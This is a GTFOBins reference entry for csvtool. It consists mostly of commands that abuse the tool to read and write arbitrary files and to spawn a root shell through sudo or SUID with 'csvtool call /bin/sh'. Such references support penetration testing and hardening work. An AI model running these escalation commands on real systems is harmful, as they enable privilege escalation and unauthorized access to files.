GTFOBins.github.io/_gtfobins/csvtool.md

692 B

functions
file-read file-write suid shell sudo
description code
The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data. LFILE=file_to_read csvtool trim t $LFILE
description code
The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data. LFILE=file_to_write TF=$(mktemp) echo DATA > $TF csvtool trim t $TF -o $LFILE
code
LFILE=file_to_read ./csvtool trim t $LFILE
code
csvtool call '/bin/sh;false' /etc/passwd
code
sudo csvtool call '/bin/sh;false' /etc/passwd